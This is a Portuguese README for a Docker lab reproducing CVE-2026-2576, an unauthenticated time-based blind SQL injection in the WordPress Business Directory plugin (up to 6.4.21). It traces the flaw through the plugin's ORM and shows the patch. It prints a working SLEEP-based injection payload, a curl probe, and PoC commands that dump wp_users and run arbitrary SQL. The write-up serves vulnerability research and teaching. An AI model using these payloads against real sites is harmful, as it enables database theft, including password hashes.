
CVE-2026-2576 — PoC de SQLi no Plugin Business Directory (Configuração Local). Injeção SQL Cega Baseada em Tempo Não Autenticada no Plugin Business Directory para WordPress ≤ 6.4.21
Injeção SQL cega baseada em tempo sem autenticação
Plugin Business Directory para WordPress ≤ 6.4.21
| Campo | Detalhe |
|---|
| CVE | CVE-2026-2576 |
| Plugin | Business Directory Plugin – Easy Listing Directories for WordPress |
| Fornecedor | strategy11team |
| Afetado | Todas as versões ≤ 6.4.21 |
| Corrigido | 6.4.22 |
| Tipo | Injeção SQL cega baseada em tempo (CWE-89) |
| Autenticação | Nenhuma — totalmente sem autenticação |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Atribuidor | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| Divulgado | 18 de fevereiro de 2026 |
O Business Directory Plugin é um plugin WordPress amplamente utilizado para criar
diretórios de listagens com suporte a pagamentos. Uma falha no seu construtor de consultas ORM
permite que um atacante não autenticado realize injeção SQL cega baseada em tempo por meio do parâmetro de consulta payment,
possibilitando a inferência do conteúdo do banco de dados.
A vulnerabilidade reside no construtor de consultas ORM:
Arquivo: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ VULNERÁVEL — sem sanitização, concatenação direta de strings
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ Seguro — usa $wpdb->prepare()
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
Quando $v é um escalar, o código usa corretamente $wpdb->prepare(). Quando
$v é um array, ele cai no ramo inseguro e concatena os valores
diretamente na string SQL sem qualquer escape.
O controlador de checkout (includes/controllers/pages/class-checkout.php)
lê o parâmetro de requisição payment e o passa para o ORM:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id passado como valor
);
}
O PHP converte automaticamente payment[]=value na string de consulta em um
array $_GET['payment'] = ['value']. Isso força $v a ser um array em
filter_args(), atingindo o ramo inseguro.
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← array devido à notação []
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → ramo inseguro
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -
SQL gerado:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')
O -- - comenta o ') final. O IF() cria um oráculo booleano:
quando a condição é VERDADEIRA, SLEEP(N) é acionado e a resposta é
atrasada; quando FALSA, a resposta é imediata.
Observação: O ORM executa a consulta duas vezes por requisição (uma vez em get(), uma vez
em maybe_execute_query()), portanto um payload SLEEP(1) produz ~2 segundos de
atraso observável, e SLEEP(2) produz ~4 segundos.
Um atacante não autenticado pode inferir e extrair o conteúdo do banco de dados caractere por caractere por meio de respostas baseadas em tempo, incluindo:
wp_users), nomes de usuário, endereços de e-mail, hashes de senhaA correção na versão 6.4.22 adiciona sanitização ao ramo de array de
filter_args():
// ANTES (vulnerável)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// DEPOIS (corrigido)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Instale as dependências Python:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
Aguarde até ver:
╔══════════════════════════════════════════════════════════╗
║ Configuração do Laboratório Concluída! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Plugin: 6.4.21 (VULNERÁVEL) ║
║ ID da Página BD: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# Esperado: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+
docker compose up -d pma
# Acesse em http://localhost:8082 (root / rootpass)
Todos os comandos são executados a partir do diretório raiz do laboratório no seu host Kali.
Use http://localhost:8080 (mapeamento de porta host → Docker).
O payment_key deve corresponder a uma linha existente em wp_wpbdp_payments.
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect
Esperado: INJEÇÃO CONFIRMADA ✓ (2.03s ≈ 1s × 2 execuções ORM)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"
| Flag | Padrão | Observações |
|---|---|---|
--sleep N | 1 | SLEEP(N) por oráculo. VERDADEIRO ≈ N×2s. Menor = mais rápido, mais ruidoso |
--threads N | 4 | Posições de caracteres em paralelo. 8 funciona bem em hardware moderno |
# Extração mais rápida
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8
# Linha de base: deve retornar em < 0.1s
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"
# Sonda de sleep: deve retornar em ~4s (SLEEP(2) × 2 execuções)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")"
Para comparar a versão vulnerável com a versão corrigida:
python3 poc/patch_diff.py
# Para Diff Completo
python3 poc/patch_diff.py --full
# Baixe ambas as versões
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422
# Compare o arquivo vulnerável
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php
O diff mostrará esc_sql() adicionado ao ramo de array em filter_args().
# Parar o laboratório (preserva os dados)
docker compose stop
# Reiniciar
docker compose start
# Desmontagem completa — destrói todos os volumes e dados
docker compose down -v
# Reexecutar a configuração do zero
docker compose down -v && docker compose up setup
# Shell no contêiner WordPress
docker exec -it lab_wordpress bash
# Visualizar o log de erros PHP do WordPress
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log
# Observar o log de consultas MySQL em tempo real
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"
docker exec lab_mysql tail -f /tmp/mysql.log
$wpdb->prepare() do WordPress — https://developer.wordpress.org/reference/classes/wpdb/prepare/Este repositório destina-se exclusivamente a pesquisa de segurança autorizada e fins educacionais. Todos os testes foram conduzidos em um ambiente de laboratório local isolado. Nunca execute esta ferramenta contra sistemas que você não possui ou para os quais não possui autorização escrita explícita para testar. O acesso não autorizado a sistemas de computador é ilegal sob o Computer Fraud and Abuse Act (CFAA) e leis equivalentes em outras jurisdições.
O autor não assume nenhuma responsabilidade pelo uso indevido deste material. Sempre siga práticas de divulgação responsável — se você descobrir novas descobertas com base nesta pesquisa, coordene com o fornecedor antes de publicar.
Pesquisado e desenvolvido em um laboratório Docker isolado no Kali Linux.